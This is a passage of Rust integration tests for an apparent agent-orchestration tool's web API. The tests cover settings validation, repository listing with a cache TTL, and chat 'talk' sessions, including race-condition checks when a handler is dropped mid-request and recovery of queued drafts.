8765        let (_tmp, repo, machine) = settings_dirs(
8766            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8767            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8768        );
8769        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8770        let v = f.get("/api/settings").await.json();
8771        let count = |v: &serde_json::Value, k: &str| {
8772            v["roles"]
8773                .as_array()
8774                .and_then(|r| r.iter().find(|x| x["key"] == k))
8775                .map(|x| x["count"].clone())
8776                .unwrap_or_else(|| panic!("no role {k}: {v}"))
8777        };
8778        let imp = count(&v, "implementers");
8779        assert_eq!(imp["value"], 2);
8780        assert_eq!(imp["source"], "machine");
8781        assert_eq!(imp["file_key"], "candidates");
8782        assert_eq!(imp["roster_len"], 2);
8783        assert_eq!(imp["backups"], 0);
8784        assert_eq!(count(&v, "judges")["source"], "default");
8785        assert_eq!(count(&v, "advisors")["min"], 0);
8786        assert_eq!(count(&v, "reviewers")["editable"], false);
8787        assert!(
8788            count(&v, "reviewers")["locked_reason"]
8789                .as_str()
8790                .is_some_and(|m| m.contains("graph.reviewers"))
8791        );
8792        assert!(count(&v, "fixer").is_null());
8793        let rev = v["revision"].as_str().expect("revision").to_owned();
8794        let body = serde_json::json!({
8795            "revision": rev,
8796            "roles": { "judges": ["b"] },
8797            "counts": { "implementers": 1, "advisors": 0 }
8798        })
8799        .to_string();
8800        let res = f.put("/api/settings/roles", &body).await;
8801        assert_eq!(res.status, 200, "{}", res.body);
8802        let text = std::fs::read_to_string(&machine).expect("machine");
8803        assert_eq!(
8804            text,
8805            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8806        );
8807        let after = f.get("/api/settings").await.json();
8808        assert_eq!(count(&after, "implementers")["value"], 1);
8809        assert_eq!(count(&after, "implementers")["backups"], 1);
8810        assert_eq!(count(&after, "advisors")["value"], 0);
8811        let before = std::fs::read_to_string(&machine).expect("machine");
8812        let rev = after["revision"].as_str().expect("revision").to_owned();
8813        for counts in [
8814            serde_json::json!({ "judges": 0 }),
8815            serde_json::json!({ "judges": "x" }),
8816            serde_json::json!({ "judges": 2.5 }),
8817            serde_json::json!({ "judges": -1 }),
8818            serde_json::json!({ "reviewers": 3 }),
8819            serde_json::json!({ "bogus": 3 }),
8820        ] {
8821            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8822            let res = f.put("/api/settings/roles", &body).await;
8823            assert_eq!(res.status, 422, "{counts}: {}", res.body);
8824            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8825        }
8826    }
8827
8828    #[tokio::test]
8829    async fn settings_put_refuses_without_touching_the_file() {
8830        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8831        let (_tmp, repo, machine) = settings_dirs(
8832            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8833            Some(machine_text),
8834        );
8835        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8836        let rev = f.get("/api/settings").await.json()["revision"]
8837            .as_str()
8838            .expect("revision")
8839            .to_owned();
8840        for roles in [
8841            serde_json::json!({ "judges": ["nope"] }),
8842            serde_json::json!({ "reviewers": ["b"] }),
8843            serde_json::json!({ "bogus": ["a"] }),
8844        ] {
8845            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8846            let res = f.put("/api/settings/roles", &body).await;
8847            assert_eq!(res.status, 422, "{roles}: {}", res.body);
8848            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8849            assert_eq!(
8850                std::fs::read_to_string(&machine).expect("machine"),
8851                machine_text
8852            );
8853        }
8854    }
8855
8856    #[tokio::test]
8857    async fn repos_list_returns_name_and_path_for_every_configured_root() {
8858        let tmp = TempDir::new().expect("tempdir");
8859        let repo = tmp.path().join("repo");
8860        std::fs::create_dir_all(&repo).expect("repo dir");
8861        let root = tmp.path().join("root");
8862        make_checkout(&root, "github.com", "yukimemi", "magi");
8863        std::fs::write(
8864            repo.join("magi.toml"),
8865            format!(
8866                "[repos]\nroots = [{:?}]\n",
8867                root.to_string_lossy().into_owned()
8868            ),
8869        )
8870        .expect("write magi.toml");
8871
8872        let f = Fixture::with_repo(repo).await;
8873        let res = f.get("/api/repos").await;
8874        assert_eq!(res.status, 200, "{}", res.body);
8875        let list = res.json();
8876        let repos = list.as_array().expect("an array");
8877        assert_eq!(repos.len(), 1);
8878        assert_eq!(repos[0]["name"], "yukimemi/magi");
8879        assert!(
8880            repos[0]["path"]
8881                .as_str()
8882                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8883            "{list}"
8884        );
8885    }
8886
8887    #[tokio::test]
8888    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8889        let tmp = TempDir::new().expect("tempdir");
8890        let repo = tmp.path().join("repo");
8891        std::fs::create_dir_all(&repo).expect("repo dir");
8892        let root = tmp.path().join("root");
8893        make_checkout(&root, "github.com", "yukimemi", "magi");
8894        std::fs::write(
8895            repo.join("magi.toml"),
8896            format!(
8897                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8898                root.to_string_lossy().into_owned()
8899            ),
8900        )
8901        .expect("write magi.toml");
8902
8903        let f = Fixture::with_repo(repo).await;
8904        let first = f.get("/api/repos").await;
8905        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8906
8907        // A second checkout appears; within the TTL the cached answer must
8908        // not notice it.
8909        make_checkout(&root, "github.com", "yukimemi", "rvpm");
8910        let second = f.get("/api/repos").await;
8911        assert_eq!(
8912            second.json().as_array().map(Vec::len),
8913            Some(1),
8914            "a fresh cache must not rescan inside the TTL"
8915        );
8916
8917        let refreshed = f.get("/api/repos?refresh=1").await;
8918        assert_eq!(
8919            refreshed.json().as_array().map(Vec::len),
8920            Some(2),
8921            "an explicit refresh must rescan even inside the TTL"
8922        );
8923    }
8924
8925    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
8926    /// string, declared straight in a repository's own `magi.toml` rather
8927    /// than the operator's real roster. No real agent CLI is spawned - `sh`
8928    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
8929    /// this is safe to run over a real HTTP round trip.
8930    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8931
8932    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
8933    /// real `Config::discover` to find an agent - `talk::begin` resolves one
8934    /// even though it takes no turn, and `talk_say` invokes one.
8935    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8936        let tmp = TempDir::new().expect("tempdir");
8937        let repo = tmp.path().join("repo");
8938        std::fs::create_dir_all(&repo).expect("repo dir");
8939        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8940        let f = Fixture::with_repo(repo.clone()).await;
8941        (tmp, repo, f)
8942    }
8943
8944    #[tokio::test]
8945    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8946        let (_tmp, _repo, f) = talk_fixture().await;
8947
8948        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
8949        // is the ordinary way a phone opens a talk.
8950        let opened = f.post("/api/talks", None).await;
8951        assert_eq!(opened.status, 201, "{}", opened.body);
8952        let body = opened.json();
8953        assert_eq!(body["status"], "open");
8954        assert_eq!(
8955            body["turns"].as_array().unwrap().len(),
8956            0,
8957            "opening takes no agent turn: there is nothing yet to answer"
8958        );
8959
8960        // An explicit empty object is the same request as none at all.
8961        let also_opened = f.post("/api/talks", Some("{}")).await;
8962        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8963
8964        let listed = f.get("/api/talks").await.json();
8965        assert_eq!(listed.as_array().unwrap().len(), 2);
8966    }
8967
8968    #[tokio::test]
8969    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8970        let tmp = TempDir::new().expect("tempdir");
8971        let repo = tmp.path().join("repo");
8972        std::fs::create_dir_all(&repo).expect("repo dir");
8973        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8974        std::fs::write(
8975            repo.join("magi.toml"),
8976            format!("{MOCK_AGENT_TOML}\n{second}"),
8977        )
8978        .expect("write magi.toml");
8979        let home = TempDir::new().expect("temp home");
8980        let talks = Talks::at(home.path().join("talks"));
8981        let ui = Arc::new(
8982            Ui::new(
8983                Queue::at(home.path().join("queue")),
8984                Questions::at(home.path().join("questions")),
8985                talks.clone(),
8986                home.path().join("runs"),
8987                home.path().to_path_buf(),
8988                repo.clone(),
8989            )
8990            .with_worktrees_root(home.path().join("wt")),
8991        );
8992        let cfg = config_for(&repo).await.expect("discover config");
8993        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8994        let id = talk.id.clone();
8995        let call = |agent: &str| {
8996            talk_agent(
8997                State(Arc::clone(&ui)),
8998                Path(id.clone()),
8999                Json(TalkAgent {
9000                    agent: agent.to_owned(),
9001                }),
9002            )
9003        };
9004
9005        let unknown = call("nobody").await.expect_err("unknown agent");
9006        assert_eq!(
9007            unknown.status,
9008            StatusCode::BAD_REQUEST,
9009            "{}",
9010            unknown.message
9011        );
9012
9013        {
9014            // The refused call hands its claim to a drain loop that releases
9015            // it a moment later.
9016            let mut claimed = None;
9017            for _ in 0..200 {
9018                claimed = ui.begin_talk_turn(&id).expect("claim");
9019                if claimed.is_some() {
9020                    break;
9021                }
9022                tokio::time::sleep(Duration::from_millis(10)).await;
9023            }
9024            let _busy = claimed.expect("free");
9025            let busy = call("second").await.expect_err("busy talk");
9026            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9027        }
9028        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9029
9030        let Json(view) = call("second").await.expect("switch");
9031        assert_eq!(view.talk.agent, "second");
9032        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9033        let saved = talks.get(&id).expect("reload");
9034        assert_eq!(saved.agent, "second");
9035        assert_eq!(saved.turns.len(), 1);
9036
9037        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9038            .await
9039            .expect("detail");
9040        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9041        assert_eq!(roster, ["mock", "second"]);
9042
9043        let mut closed = talks.get(&id).expect("reload");
9044        talk::close(&mut closed, &talks).expect("close");
9045        let refused = call("mock").await.expect_err("closed talk");
9046        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9047    }
9048
9049    #[tokio::test]
9050    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
9051        let tmp = TempDir::new().expect("tempdir");
9052        let repo = tmp.path().join("repo");
9053        std::fs::create_dir_all(&repo).expect("repo dir");
9054        std::fs::write(
9055            repo.join("magi.toml"),
9056            format!(
9057                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
9058            ),
9059        )
9060        .expect("write magi.toml");
9061        let home = TempDir::new().expect("temp home");
9062        let talks = Talks::at(home.path().join("talks"));
9063        let ui = Arc::new(
9064            Ui::new(
9065                Queue::at(home.path().join("queue")),
9066                Questions::at(home.path().join("questions")),
9067                talks.clone(),
9068                home.path().join("runs"),
9069                home.path().to_path_buf(),
9070                repo.clone(),
9071            )
9072            .with_worktrees_root(home.path().join("wt")),
9073        );
9074        let cfg = config_for(&repo).await.expect("discover config");
9075        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9076        let id = talk.id.clone();
9077        let call = |persona: &str| {
9078            talk_persona(
9079                State(Arc::clone(&ui)),
9080                Path(id.clone()),
9081                Json(TalkPersona {
9082                    persona: persona.to_owned(),
9083                }),
9084            )
9085        };
9086
9087        let unknown = call("nobody").await.expect_err("unknown persona");
9088        assert_eq!(
9089            unknown.status,
9090            StatusCode::BAD_REQUEST,
9091            "{}",
9092            unknown.message
9093        );
9094
9095        {
9096            let mut claimed = None;
9097            for _ in 0..200 {
9098                claimed = ui.begin_talk_turn(&id).expect("claim");
9099                if claimed.is_some() {
9100                    break;
9101                }
9102                tokio::time::sleep(Duration::from_millis(10)).await;
9103            }
9104            let _busy = claimed.expect("free");
9105            let busy = call("rei").await.expect_err("busy talk");
9106            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9107        }
9108        assert_eq!(talks.get(&id).expect("reload").persona, "");
9109
9110        let Json(view) = call("gendo").await.expect("switch to a configured persona");
9111        assert_eq!(view.talk.persona, "gendo");
9112        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
9113
9114        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9115            .await
9116            .expect("detail");
9117        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
9118        assert_eq!(ids.first(), Some(&"default"));
9119        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
9120
9121        let Json(view) = call("default").await.expect("back to default");
9122        assert_eq!(view.talk.persona, "");
9123
9124        let mut closed = talks.get(&id).expect("reload");
9125        talk::close(&mut closed, &talks).expect("close");
9126        let refused = call("rei").await.expect_err("closed talk");
9127        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9128    }
9129
9130    #[tokio::test]
9131    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
9132        let f = Fixture::start().await;
9133        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
9134        let queue = f.queue();
9135        let mut mine = Task::new(
9136            "rename the loader".to_owned(),
9137            "rename the loader".to_owned(),
9138            PathBuf::from("/repo/magi"),
9139            Source::Agent {
9140                run: talk_id.clone(),
9141                node: "chat".to_owned(),
9142            },
9143        );
9144        queue.put(&mut mine).expect("file the task");
9145        let mut theirs = Task::new(
9146            "unrelated".to_owned(),
9147            "unrelated".to_owned(),
9148            PathBuf::from("/repo/magi"),
9149            Source::Human,
9150        );
9151        queue.put(&mut theirs).expect("file the task");
9152
9153        let res = f.get(&format!("/api/talks/{talk_id}")).await;
9154        assert_eq!(res.status, 200, "{}", res.body);
9155        let body = res.json();
9156        assert_eq!(
9157            body["status"], "open",
9158            "filing a task does not close a talk"
9159        );
9160        let tasks = body["tasks"].as_array().expect("tasks array");
9161        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
9162        assert_eq!(tasks[0]["id"], mine.id);
9163    }
9164
9165    #[tokio::test]
9166    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
9167        let (_tmp, _repo, f) = talk_fixture().await;
9168        let id = f.post("/api/talks", None).await.json()["id"]
9169            .as_str()
9170            .expect("id")
9171            .to_owned();
9172
9173        let res = f
9174            .post(
9175                &format!("/api/talks/{id}/say"),
9176                Some(r#"{"text":"what does the queue module do?"}"#),
9177            )
9178            .await;
9179        assert_eq!(res.status, 202, "{}", res.body);
9180        let queued = res.json();
9181        let turns = queued["turns"].as_array().expect("turns array");
9182        assert_eq!(
9183            turns.len(),
9184            1,
9185            "the answer reflects only what is on disk the instant it is sent, \
9186             before the agent's turn - which can run for the whole of \
9187             `[graph] timeout_talk` - has a chance to land: {queued}"
9188        );
9189        assert_eq!(turns[0]["who"], "operator");
9190        assert_eq!(turns[0]["body"], "what does the queue module do?");
9191        assert_eq!(
9192            queued["thinking"], true,
9193            "the accepted response exposes the background turn claim: {queued}"
9194        );
9195
9196        let mut turns_after = 1;
9197        for _ in 0..SETTLE_STEPS {
9198            let detail = f.get(&format!("/api/talks/{id}")).await.json();
9199            turns_after = detail["turns"].as_array().expect("turns array").len();
9200            if turns_after == 2 {
9201                break;
9202            }
9203            tokio::time::sleep(Duration::from_millis(10)).await;
9204        }
9205        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9206    }
9207
9208    /// A phone that reloads mid-request drops `talk_say`'s whole handler
9209    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
9210    /// guards against: `talk::record` used to return, and only *then* did the
9211    /// handler make a second, separate disk round trip before spawning the
9212    /// agent's reply task. A future dropped in that gap left a message
9213    /// recorded on disk with no reply task ever started and no way back short
9214    /// of a fresh message - and the gap was not even the whole story: *any*
9215    /// `.await` in this handler, including the very first one, is a point
9216    /// where a drop can land after the awaited work already finished but
9217    /// before this handler's own code resumes to act on it. `record` now
9218    /// runs inside the task `tokio::spawn` hands to the runtime before this
9219    /// handler ever awaits anything of its own again, so there is nothing
9220    /// left in *this* handler's future for a disconnect to interrupt between
9221    /// the message landing on disk and the reply task starting.
9222    ///
9223    /// A real socket disconnect cannot be relied on to land in the old gap
9224    /// from a test - over loopback, `talk_say` typically finishes before the
9225    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
9226    /// same failure mode directly: it drops the task's future at whatever
9227    /// point it has reached, exactly what axum does to the handler future,
9228    /// without needing to win a real network race. Sweeping the delay before
9229    /// aborting samples a range of points the task's execution can be at,
9230    /// including where the old code sat waiting on its second disk round
9231    /// trip - confirmed by reverting this fix locally and watching this same
9232    /// sweep catch a talk stuck with the operator's turn recorded and no
9233    /// reply ever following.
9234    #[tokio::test]
9235    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9236        let tmp = TempDir::new().expect("tempdir");
9237        let repo = tmp.path().join("repo");
9238        std::fs::create_dir_all(&repo).expect("repo dir");
9239        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9240        let home = TempDir::new().expect("temp home");
9241        let talks = Talks::at(home.path().join("talks"));
9242        let ui = Arc::new(
9243            Ui::new(
9244                Queue::at(home.path().join("queue")),
9245                Questions::at(home.path().join("questions")),
9246                talks.clone(),
9247                home.path().join("runs"),
9248                home.path().to_path_buf(),
9249                repo.clone(),
9250            )
9251            .with_worktrees_root(home.path().join("wt")),
9252        );
9253        let cfg = config_for(&repo).await.expect("discover config");
9254
9255        for delay in 0..40u32 {
9256            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9257            let id = talk.id.clone();
9258
9259            let handler = tokio::spawn(talk_say(
9260                State(Arc::clone(&ui)),
9261                Path(id.clone()),
9262                Ok(Json(NewTalkTurn {
9263                    text: "what does the queue module do?".to_owned(),
9264                    attachments: Vec::new(),
9265                })),
9266            ));
9267            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9268            handler.abort();
9269            // Wait out the abort so the next iteration's talk does not race
9270            // this one's still-unwinding turn guard.
9271            let _ = handler.await;
9272
9273            let mut turns = 0;
9274            for _ in 0..SETTLE_STEPS {
9275                if let Ok(fresh) = talks.get(&id) {
9276                    turns = fresh.turns.len();
9277                    if turns != 1 {
9278                        break;
9279                    }
9280                }
9281                tokio::time::sleep(Duration::from_millis(10)).await;
9282            }
9283            assert_ne!(
9284                turns, 1,
9285                "delay {delay}: talk {id} recorded the operator's turn but \
9286                 the agent never answered - the reply task was never \
9287                 started after the handler future was dropped"
9288            );
9289        }
9290    }
9291
9292    /// The same drop, landing on `talk_say`'s other durable write.
9293    ///
9294    /// When a turn is already running, the busy branch persists the
9295    /// operator's text as a queued draft and then reclaims the turn slot if
9296    /// the holder gave it up in the meantime - and whoever reclaims owes that
9297    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
9298    /// which finishes whether or not the future awaiting it is still there,
9299    /// so a handler dropped at that `.await` used to leave the draft written
9300    /// to disk with the reclaimed guard dropped unread and no drainer ever
9301    /// started: the message sat queued until some unrelated later `say`
9302    /// happened to pick it up.
9303    ///
9304    /// This used to drive the handler future by hand, polling it a fixed
9305    /// number of times to park it at the `.await` where it asks for the turn
9306    /// and finds it busy, before the reclaim's slot-free case could be set up
9307    /// underneath it. That assumed a fixed number of polls lands at a fixed
9308    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
9309    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
9310    /// poll, so any number of this handler's several `blocking` awaits can
9311    /// collapse into one poll under load, landing the drive somewhere other
9312    /// than intended - including, occasionally, straight past the handler's
9313    /// own completion, which made polling it again panic with "async fn
9314    /// resumed after completion". No poll count fixes that; the handler's
9315    /// progress simply is not something a caller outside it can observe by
9316    /// counting.
9317    ///
9318    /// [`BusyQueueGate`] replaces the poll count with a real stop point
9319    /// inside the write itself, so the interleaving under test is pinned by
9320    /// an event instead of a guess: the gate fires only once the handler has
9321    /// actually decided `Busy` and is about to persist the draft, and it
9322    /// blocks that write until the test lets it through. Between those two
9323    /// moments the test drains the turn the handler found busy - through
9324    /// `drain_loop`, the protocol's other half - and then aborts the handler
9325    /// task outright, the same way axum drops a disconnected request's
9326    /// future. The write, and the reclaim it may do, run to completion
9327    /// regardless: they live in the `tokio::spawn` task the busy branch hands
9328    /// to the runtime before ever touching the gate, wholly independent of
9329    /// whether the handler that started it is still around - which is what
9330    /// this test is actually checking. A drainer other than that reclaim
9331    /// cannot exist here: the test's own `drain_loop` call happens before the
9332    /// gate opens, so it runs while the queue is still empty and hands the
9333    /// turn straight back rather than draining anything, closing off the
9334    /// possibility of the final assertion passing without the reclaim ever
9335    /// having done its job.
9336    #[tokio::test]
9337    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9338        let tmp = TempDir::new().expect("tempdir");
9339        let repo = tmp.path().join("repo");
9340        std::fs::create_dir_all(&repo).expect("repo dir");
9341        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9342        let home = TempDir::new().expect("temp home");
9343        let talks = Talks::at(home.path().join("talks"));
9344        let ui = Arc::new(
9345            Ui::new(
9346                Queue::at(home.path().join("queue")),
9347                Questions::at(home.path().join("questions")),
9348                talks.clone(),
9349                home.path().join("runs"),
9350                home.path().to_path_buf(),
9351                repo.clone(),
9352            )
9353            .with_worktrees_root(home.path().join("wt")),
9354        );
9355        let cfg = config_for(&repo).await.expect("discover config");
9356
9357        for attempt in 0..3u32 {
9358            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9359            let id = talk.id.clone();
9360            // A turn is already running, which is what sends `talk_say` down
9361            // the busy branch.
9362            let turn_guard = ui
9363                .begin_talk_turn(&id)
9364                .expect("claim the turn")
9365                .expect("a fresh talk owes nobody a turn");
9366
9367            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9368            let (release_tx, release_rx) = std::sync::mpsc::channel();
9369            ui.set_busy_queue_gate(BusyQueueGate {
9370                reached: reached_tx,
9371                release: release_rx,
9372            });
9373
9374            let handler = tokio::spawn(talk_say(
9375                State(Arc::clone(&ui)),
9376                Path(id.clone()),
9377                Ok(Json(NewTalkTurn {
9378                    text: "what does the queue module do?".to_owned(),
9379                    attachments: Vec::new(),
9380                })),
9381            ));
9382
9383            // Wait for the busy branch to actually reach the gate, rather
9384            // than for any fixed number of polls of anything - a bounded
9385            // wait rather than a bare `.await` so a regression that never
9386            // reaches the gate fails the test instead of hanging it.
9387            tokio::time::timeout(Duration::from_secs(5), reached_rx)
9388                .await
9389                .unwrap_or_else(|_| {
9390                    panic!(
9391                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9392                    )
9393                })
9394                .expect("the busy branch dropped the gate without using it");
9395
9396            // The turn that was running now finishes and gives the slot up
9397            // the way a real one does - through `drain_loop`, which finds
9398            // nothing queued yet (the write is still held at the gate) and
9399            // releases. The handler, parked inside `spawn_blocking` on the
9400            // other side of the gate, still believes the talk is busy -
9401            // exactly the interleaving the reclaim exists for.
9402            let running = talks.get(&id).expect("reload talk");
9403            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9404
9405            // Drop the handler future now, the way a reloading phone drops
9406            // it: suspended waiting on the busy branch's answer, having
9407            // itself made no more progress since it handed the write off.
9408            handler.abort();
9409            let _ = handler.await;
9410
9411            // Only now let the gated write proceed. It persists the draft
9412            // and reclaims the now-free slot from inside the task the busy
9413            // branch already spawned - unaffected by the handler's abort
9414            // above, since that task was independent of the handler's own
9415            // future from the moment it was spawned.
9416            let _ = release_tx.send(());
9417
9418            // A settled talk: the draft drained into an operator turn and
9419            // answered.
9420            let mut fresh = talks.get(&id).expect("reload talk");
9421            for _ in 0..SETTLE_STEPS {
9422                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9423                    break;
9424                }
9425                tokio::time::sleep(Duration::from_millis(10)).await;
9426                fresh = talks.get(&id).expect("reload talk");
9427            }
9428            assert!(
9429                fresh.pending.is_empty() && fresh.turns.len() == 2,
9430                "attempt {attempt}: talk {id} left the operator's text queued \
9431                 with no drainer - the reclaimed turn was dropped along with \
9432                 the handler future (pending {:?}, {} turns)",
9433                fresh.pending,
9434                fresh.turns.len()
9435            );
9436        }
9437    }
9438
9439    #[tokio::test]
9440    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9441        let (_tmp, _repo, f) = talk_fixture().await;
9442        let id = f.post("/api/talks", None).await.json()["id"]
9443            .as_str()
9444            .expect("id")
9445            .to_owned();
9446        let store = f.talks();
9447        let mut recovered = store.get(&id).expect("opened talk");
9448        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9449            .expect("persist pending draft without a live turn");
9450
9451        let edited = f
9452            .post(
9453                &format!("/api/talks/{id}/pending/edit"),
9454                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9455            )
9456            .await;
9457        assert_eq!(edited.status, 200, "{}", edited.body);
9458        assert!(edited.json()["thinking"].as_bool().unwrap());
9459
9460        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9461        for _ in 0..SETTLE_STEPS {
9462            if detail["turns"].as_array().expect("turns").len() == 2 {
9463                break;
9464            }
9465            tokio::time::sleep(Duration::from_millis(10)).await;
9466            detail = f.get(&format!("/api/talks/{id}")).await.json();
9467        }
9468        let turns = detail["turns"].as_array().expect("turns");
9469        assert_eq!(
9470            turns.len(),
9471            2,
9472            "the recovered draft must run once: {detail}"
9473        );
9474        assert_eq!(turns[0]["body"], "corrected");
9475        assert_eq!(detail["pending"], "");
9476    }
9477
9478    #[tokio::test]
9479    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9480        let tmp = TempDir::new().expect("tempdir");
9481        let repo = tmp.path().join("repo");
9482        std::fs::create_dir_all(&repo).expect("repo dir");
9483        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9484        let f = Fixture::with_repo(repo).await;
9485        let id = f.post("/api/talks", None).await.json()["id"]
9486            .as_str()
9487            .expect("id")
9488            .to_owned();
9489        let store = f.talks();
9490        let mut recovered = store.get(&id).expect("opened talk");
9491        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9492            .expect("persist pending draft without a live turn");
9493
9494        let refused = f
9495            .post(
9496                &format!("/api/talks/{id}/say"),
9497                Some(r#"{"text":"new message"}"#),
9498            )
9499            .await;
9500        assert_eq!(refused.status, 409, "{}", refused.body);
9501        assert!(refused.body.contains("resume"), "{}", refused.body);
9502        let saved = store.get(&id).expect("draft remains after refusal");
9503        assert!(saved.turns.is_empty());
9504        assert_eq!(saved.pending, "saved before restart");
9505
9506        let say_path = format!("/api/talks/{id}/say");
9507        let (first, second) = tokio::join!(
9508            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9509            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9510        );
9511        assert_eq!(first.status, 409, "{}", first.body);
9512        assert_eq!(second.status, 409, "{}", second.body);
9513        let saved = store
9514            .get(&id)
9515            .expect("draft remains after concurrent refusals");
9516        assert!(saved.turns.is_empty());
9517        assert_eq!(saved.pending, "saved before restart");
9518
9519        let resumed = f
9520            .post(&format!("/api/talks/{id}/pending/resume"), None)
9521            .await;
9522        assert_eq!(resumed.status, 202, "{}", resumed.body);
9523        let duplicate = f
9524            .post(&format!("/api/talks/{id}/pending/resume"), None)
9525            .await;
9526        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9527
9528        for _ in 0..SETTLE_STEPS {
9529            if store.get(&id).expect("talk").turns.len() == 2 {
9530                break;
9531            }
9532            tokio::time::sleep(Duration::from_millis(10)).await;
9533        }
9534        let finished = store.get(&id).expect("finished talk");
9535        assert_eq!(finished.turns.len(), 2, "{finished:?}");
9536        assert_eq!(finished.turns[0].body, "saved before restart");
9537        assert!(finished.pending.is_empty());
9538    }
9539
9540    #[tokio::test]
9541    async fn an_image_only_recovered_draft_resumes_without_text() {
9542        let (_tmp, _repo, f) = talk_fixture().await;
9543        let id = f.post("/api/talks", None).await.json()["id"]
9544            .as_str()
9545            .expect("id")
9546            .to_owned();
9547        let uploaded = f
9548            .post_bytes(
9549                &format!("/api/talks/{id}/attachments"),
9550                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9551                PNG_BYTES,
9552            )
9553            .await;
9554        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9555        let attachment = f
9556            .talks()
9557            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9558            .expect("attachment metadata")
9559            .expect("stored attachment");
9560        let store = f.talks();
9561        let mut recovered = store.get(&id).expect("opened talk");
9562        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9563
9564        let resumed = f
9565            .post(&format!("/api/talks/{id}/pending/resume"), None)
9566            .await;
9567        assert_eq!(resumed.status, 202, "{}", resumed.body);
9568        for _ in 0..SETTLE_STEPS {
9569            if store.get(&id).expect("talk").turns.len() == 2 {
9570                break;
9571            }
9572            tokio::time::sleep(Duration::from_millis(10)).await;
9573        }
9574        let finished = store.get(&id).expect("finished talk");
9575        assert_eq!(finished.turns.len(), 2, "{finished:?}");
9576        assert!(finished.turns[0].body.is_empty());
9577        assert_eq!(finished.turns[0].attachments.len(), 1);
9578        assert!(finished.pending_attachments.is_empty());
